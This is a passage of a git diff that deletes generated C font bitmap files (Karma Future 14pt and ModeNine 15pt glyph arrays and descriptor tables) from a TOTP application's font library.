= { - /* @0 '-' (12 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xFE, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @36 '0' (12 pixels wide) */ - 0xF8, - 0x01, - 0x0E, - 0x03, - 0x02, - 0x06, - 0xF3, - 0x06, - 0xF9, - 0x0C, - 0x79, - 0x0C, - 0x39, - 0x0D, - 0x99, - 0x0C, - 0xC9, - 0x0C, - 0xE9, - 0x0C, - 0xF1, - 0x0C, - 0xF1, - 0x0C, - 0xF1, - 0x0C, - 0xF3, - 0x0E, - 0x02, - 0x0E, - 0x0E, - 0x07, - 0xFC, - 0x07, - 0xF8, - 0x01, - - /* @72 '1' (12 pixels wide) */ - 0x70, - 0x00, - 0xD8, - 0x00, - 0xCE, - 0x00, - 0xC2, - 0x00, - 0xC2, - 0x00, - 0xDE, - 0x00, - 0xDC, - 0x00, - 0xDC, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xDE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xFE, - 0x03, - 0xFC, - 0x03, - - /* @108 '2' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0x7F, - 0x0E, - 0x3E, - 0x0F, - 0x1E, - 0x0F, - 0x90, - 0x07, - 0xC8, - 0x03, - 0xE4, - 0x01, - 0xE6, - 0x00, - 0xF3, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xFF, - 0x0F, - 0xFE, - 0x0F, - - /* @144 '3' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xFF, - 0x0C, - 0xFE, - 0x0C, - 0x0E, - 0x0E, - 0x08, - 0x0F, - 0xF8, - 0x0E, - 0xF8, - 0x04, - 0xFF, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xFC, - 0x03, - - /* @180 '4' (12 pixels wide) */ - 0xE0, - 0x03, - 0x30, - 0x03, - 0x10, - 0x03, - 0x08, - 0x03, - 0x4C, - 0x03, - 0x64, - 0x03, - 0x72, - 0x03, - 0x73, - 0x03, - 0x79, - 0x03, - 0x01, - 0x04, - 0x01, - 0x0C, - 0x7F, - 0x0F, - 0x7E, - 0x0F, - 0x7E, - 0x0F, - 0x40, - 0x03, - 0x40, - 0x03, - 0xC0, - 0x03, - 0x80, - 0x03, - - /* @216 '5' (12 pixels wide) */ - 0xFF, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xF9, - 0x0F, - 0xF9, - 0x0F, - 0xF9, - 0x0F, - 0x01, - 0x03, - 0x03, - 0x06, - 0xFE, - 0x04, - 0xFE, - 0x0C, - 0xFC, - 0x0C, - 0xFF, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @252 '6' (12 pixels wide) */ - 0xF0, - 0x03, - 0x10, - 0x03, - 0x08, - 0x03, - 0xCC, - 0x03, - 0xE6, - 0x03, - 0xF2, - 0x03, - 0xF2, - 0x00, - 0x01, - 0x03, - 0x01, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @288 '7' (12 pixels wide) */ - 0xFF, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xFF, - 0x0E, - 0xFE, - 0x0E, - 0x7E, - 0x0F, - 0x40, - 0x07, - 0x60, - 0x07, - 0x20, - 0x03, - 0x30, - 0x03, - 0x90, - 0x01, - 0x90, - 0x01, - 0xD0, - 0x00, - 0xC8, - 0x00, - 0xE8, - 0x00, - 0xE8, - 0x00, - 0x78, - 0x00, - 0x78, - 0x00, - - /* @324 '8' (12 pixels wide) */ - 0xF8, - 0x01, - 0x0C, - 0x01, - 0x06, - 0x03, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x06, - 0x72, - 0x06, - 0x06, - 0x07, - 0x02, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @360 '9' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0C, - 0x06, - 0x0C, - 0xFE, - 0x0E, - 0x7C, - 0x0E, - 0x38, - 0x0F, - 0x30, - 0x07, - 0x1C, - 0x07, - 0x84, - 0x03, - 0xC4, - 0x01, - 0xFC, - 0x00, - 0xF8, - 0x00, - - /* @396 'B' (12 pixels wide) */ - 0xFE, - 0x01, - 0x02, - 0x03, - 0x02, - 0x02, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x06, - 0x72, - 0x06, - 0x02, - 0x06, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0xFE, - 0x07, - 0xFC, - 0x03, - - /* @432 'C' (12 pixels wide) */ - 0xF0, - 0x03, - 0x18, - 0x02, - 0x0C, - 0x06, - 0xE4, - 0x0C, - 0xE6, - 0x0D, - 0xF2, - 0x0F, - 0x72, - 0x0F, - 0x32, - 0x0F, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x32, - 0x07, - 0xA6, - 0x0D, - 0xE4, - 0x0C, - 0x08, - 0x0E, - 0x18, - 0x0E, - 0xF0, - 0x07, - 0xF0, - 0x03, - - /* @468 'D' (12 pixels wide) */ - 0xFE, - 0x01, - 0x02, - 0x03, - 0x02, - 0x02, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0E, - 0xF2, - 0x0E, - 0x72, - 0x0E, - 0x02, - 0x06, - 0x02, - 0x07, - 0xFE, - 0x03, - 0xFC, - 0x01, - - /* @504 'F' (12 pixels wide) */ - 0xFE, - 0x07, - 0x02, - 0x0C, - 0x02, - 0x0C, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0x12, - 0x00, - 0xF2, - 0x03, - 0x02, - 0x02, - 0xF2, - 0x03, - 0xF2, - 0x03, - 0xF2, - 0x03, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - - /* @540 'G' (12 pixels wide) */ - 0xF0, - 0x07, - 0x18, - 0x06, - 0x0C, - 0x0C, - 0xE4, - 0x0D, - 0xE6, - 0x0F, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0x32, - 0x04, - 0x32, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xE6, - 0x0D, - 0xE6, - 0x0D, - 0xE4, - 0x0D, - 0x08, - 0x0C, - 0x18, - 0x0C, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - - /* @576 'H' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0xF2, - 0x0D, - 0x02, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @612 'J' (12 pixels wide) */ - 0x80, - 0x03, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x8E, - 0x06, - 0x8A, - 0x06, - 0xDA, - 0x06, - 0x72, - 0x06, - 0x02, - 0x06, - 0x06, - 0x03, - 0xFC, - 0x03, - 0xF8, - 0x01, - - /* @648 'K' (12 pixels wide) */ - 0x1E, - 0x07, - 0x92, - 0x0D, - 0xD2, - 0x0C, - 0x72, - 0x0E, - 0x32, - 0x0E, - 0x12, - 0x0F, - 0x92, - 0x07, - 0xC2, - 0x03, - 0xC2, - 0x01, - 0x92, - 0x01, - 0x12, - 0x01, - 0x32, - 0x02, - 0x32, - 0x02, - 0x72, - 0x06, - 0xD2, - 0x0C, - 0x92, - 0x0D, - 0x9E, - 0x0F, - 0x1C, - 0x0F, - - /* @684 'M' (12 pixels wide) */ - 0x1E, - 0x07, - 0x92, - 0x0D, - 0xA2, - 0x0C, - 0xE2, - 0x0C, - 0x62, - 0x0C, - 0x62, - 0x0C, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x92, - 0x0D, - 0x92, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @720 'N' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x22, - 0x0D, - 0x62, - 0x0D, - 0x62, - 0x0D, - 0xD2, - 0x0D, - 0xD2, - 0x0D, - 0x92, - 0x0D, - 0x92, - 0x0D, - 0x32, - 0x0D, - 0x32, - 0x0D, - 0x72, - 0x0C, - 0x52, - 0x0C, - 0xD2, - 0x0C, - 0x92, - 0x0C, - 0x92, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @756 'P' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0xF2, - 0x0F, - 0xF2, - 0x07, - 0xF2, - 0x03, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - - /* @792 'Q' (12 pixels wide) */ - 0xF0, - 0x01, - 0x18, - 0x03, - 0x0C, - 0x02, - 0x64, - 0x06, - 0xE6, - 0x06, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x32, - 0x0D, - 0x26, - 0x0E, - 0x26, - 0x0E, - 0x64, - 0x0E, - 0x08, - 0x0C, - 0x18, - 0x0D, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - - /* @828 'R' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0x12, - 0x0F, - 0x32, - 0x06, - 0x32, - 0x06, - 0x72, - 0x06, - 0xD2, - 0x0C, - 0x92, - 0x0D, - 0x9E, - 0x0F, - 0x1C, - 0x0F, - - /* @864 'T' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xDE, - 0x03, - 0xDC, - 0x03, - 0xDC, - 0x03, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x00, - - /* @900 'V' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x92, - 0x0D, - 0xA6, - 0x0E, - 0xA4, - 0x0E, - 0xA4, - 0x0E, - 0xE4, - 0x06, - 0x6C, - 0x06, - 0x68, - 0x06, - 0x68, - 0x02, - 0x18, - 0x03, - 0x10, - 0x03, - 0x10, - 0x01, - 0x90, - 0x01, - 0x90, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, - - /* @936 'W' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0xF2, - 0x0D, - 0x92, - 0x0D, - 0x12, - 0x0D, - 0x62, - 0x0C, - 0x62, - 0x0C, - 0xE2, - 0x0C, - 0xE2, - 0x0C, - 0xB2, - 0x0D, - 0x3E, - 0x0F, - 0x1C, - 0x0F, - - /* @972 'X' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0xB2, - 0x0D, - 0xA6, - 0x0E, - 0xE4, - 0x0E, - 0x6C, - 0x0E, - 0x18, - 0x07, - 0x98, - 0x07, - 0x90, - 0x03, - 0x10, - 0x01, - 0x68, - 0x02, - 0xE4, - 0x02, - 0xE4, - 0x06, - 0xE6, - 0x06, - 0xB2, - 0x0D, - 0x32, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0E, - - /* @1008 'Y' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0xB2, - 0x0D, - 0xA6, - 0x0E, - 0xE4, - 0x0E, - 0x6C, - 0x0E, - 0x68, - 0x06, - 0x18, - 0x07, - 0x18, - 0x03, - 0x90, - 0x03, - 0x90, - 0x01, - 0x90, - 0x01, - 0xA0, - 0x01, - 0xA0, - 0x01, - 0xA0, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, -}; - -/* Character descriptors for Karma Future 14pt */ -/* { [Char width in bits], [Offset into karmaFuture_14ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO karmaFuture_14ptDescriptors[] = { - {12, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {12, 36}, /* 0 */ - {12, 72}, /* 1 */ - {12, 108}, /* 2 */ - {12, 144}, /* 3 */ - {12, 180}, /* 4 */ - {12, 216}, /* 5 */ - {12, 252}, /* 6 */ - {12, 288}, /* 7 */ - {12, 324}, /* 8 */ - {12, 360}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {12, 396}, /* B */ - {12, 432}, /* C */ - {12, 468}, /* D */ - {0, 0}, /* E */ - {12, 504}, /* F */ - {12, 540}, /* G */ - {12, 576}, /* H */ - {0, 0}, /* I */ - {12, 612}, /* J */ - {12, 648}, /* K */ - {0, 0}, /* L */ - {12, 684}, /* M */ - {12, 720}, /* N */ - {0, 0}, /* O */ - {12, 756}, /* P */ - {12, 792}, /* Q */ - {12, 828}, /* R */ - {0, 0}, /* S */ - {12, 864}, /* T */ - {0, 0}, /* U */ - {12, 900}, /* V */ - {12, 936}, /* W */ - {12, 972}, /* X */ - {12, 1008}, /* Y */ -}; - -/* Font information for Karma Future 14pt */ -const FONT_INFO karmaFuture_14ptFontInfo = { - "Karma Future", - 18, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - karmaFuture_14ptDescriptors, /* Character descriptor array */ - karmaFuture_14ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/karma_future/karma_future.h b/applications/external/totp/lib/fonts/karma_future/karma_future.h deleted file mode 100644 index 3a6352ef1..000000000 --- a/applications/external/totp/lib/fonts/karma_future/karma_future.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Karma Future 14pt */ -extern const FONT_INFO karmaFuture_14ptFontInfo; diff --git a/applications/external/totp/lib/fonts/mode_nine/mode_nine.c b/applications/external/totp/lib/fonts/mode_nine/mode_nine.c deleted file mode 100644 index 5d19f59aa..000000000 --- a/applications/external/totp/lib/fonts/mode_nine/mode_nine.c +++ /dev/null @@ -1,942 +0,0 @@ -#include "mode_nine.h" -#include - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for ModeNine 15pt -*/ - -/* Character bitmaps for ModeNine 15pt */ -const uint8_t modeNine_15ptBitmaps[] = { - /* @0 '-' (10 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @56 '1' (10 pixels wide) */ - 0x30, - 0x00, - 0x38, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @84 '2' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x80, - 0x03, - 0xFC, - 0x01, - 0xFE, - 0x00, - 0x07, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @112 '3' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x70, - 0x00, - 0xF8, - 0x00, - 0xFC, - 0x01, - 0x80, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @140 '4' (10 pixels wide) */ - 0xE0, - 0x00, - 0xF0, - 0x00, - 0xF8, - 0x00, - 0xDC, - 0x00, - 0xCE, - 0x00, - 0xC7, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @168 '5' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x80, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @196 '6' (10 pixels wide) */ - 0xF0, - 0x00, - 0xFC, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @224 '7' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x30, - 0x00, - 0x18, - 0x00, - 0x1C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - - /* @252 '8' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @280 '9' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0xFE, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xFC, - 0x00, - 0x3C, - 0x00, - - /* @308 'B' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - - /* @336 'C' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @364 'D' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - - /* @392 'F' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @420 'G' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0xFE, - 0x03, - 0xFC, - 0x03, - - /* @448 'H' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @476 'J' (10 pixels wide) */ - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @504 'K' (10 pixels wide) */ - 0x83, - 0x03, - 0xC3, - 0x01, - 0xE3, - 0x00, - 0x73, - 0x00, - 0x3B, - 0x00, - 0x1F, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x1F, - 0x00, - 0x3B, - 0x00, - 0x73, - 0x00, - 0xE3, - 0x00, - 0xC3, - 0x01, - 0x83, - 0x03, - - /* @532 'M' (10 pixels wide) */ - 0x03, - 0x03, - 0x87, - 0x03, - 0xCF, - 0x03, - 0xFF, - 0x03, - 0x7B, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @560 'N' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0x0F, - 0x03, - 0x1F, - 0x03, - 0x3B, - 0x03, - 0x73, - 0x03, - 0xE3, - 0x03, - 0xC3, - 0x03, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @588 'P' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @616 'Q' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x73, - 0x03, - 0xE7, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x03, - - /* @644 'R' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - 0x1F, - 0x00, - 0x3B, - 0x00, - 0x73, - 0x00, - 0xE3, - 0x00, - 0xC3, - 0x01, - 0x83, - 0x03, - - /* @672 'T' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @700 'V' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x86, - 0x01, - 0x86, - 0x01, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x78, - 0x00, - 0x78, - 0x00, - 0x30, - 0x00, - - /* @728 'W' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xFF, - 0x03, - 0xFE, - 0x01, - - /* @756 'X' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xCE, - 0x01, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0xCE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @784 'Y' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xCE, - 0x01, - 0xFC, - 0x00, - 0x78, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, -}; - -/* Character descriptors for ModeNine 15pt */ -/* { [Char width in bits], [Offset into modeNine_15ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO modeNine_15ptDescriptors[] = { - {10, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {10, 28}, /* 0 */ - {10, 56}, /* 1 */ - {10, 84}, /* 2 */ - {10, 112}, /* 3 */ - {10, 140}, /* 4 */ - {10, 168}, /* 5 */ - {10, 196}, /* 6 */ - {10, 224}, /* 7 */ - {10, 252}, /* 8 */ - {10, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {10, 308}, /* B */ - {10, 336}, /* C */ - {10, 364}, /* D */ - {0, 0}, /* E */ - {10, 392}, /* F */ - {10, 420}, /* G */ - {10, 448}, /* H */ - {0, 0}, /* I */ - {10, 476}, /* J */ - {10, 504}, /* K */ - {0, 0}, /* L */ - {10, 532}, /* M */ - {10, 560}, /* N */ - {0, 0}, /* O */ - {10, 588}, /* P */ 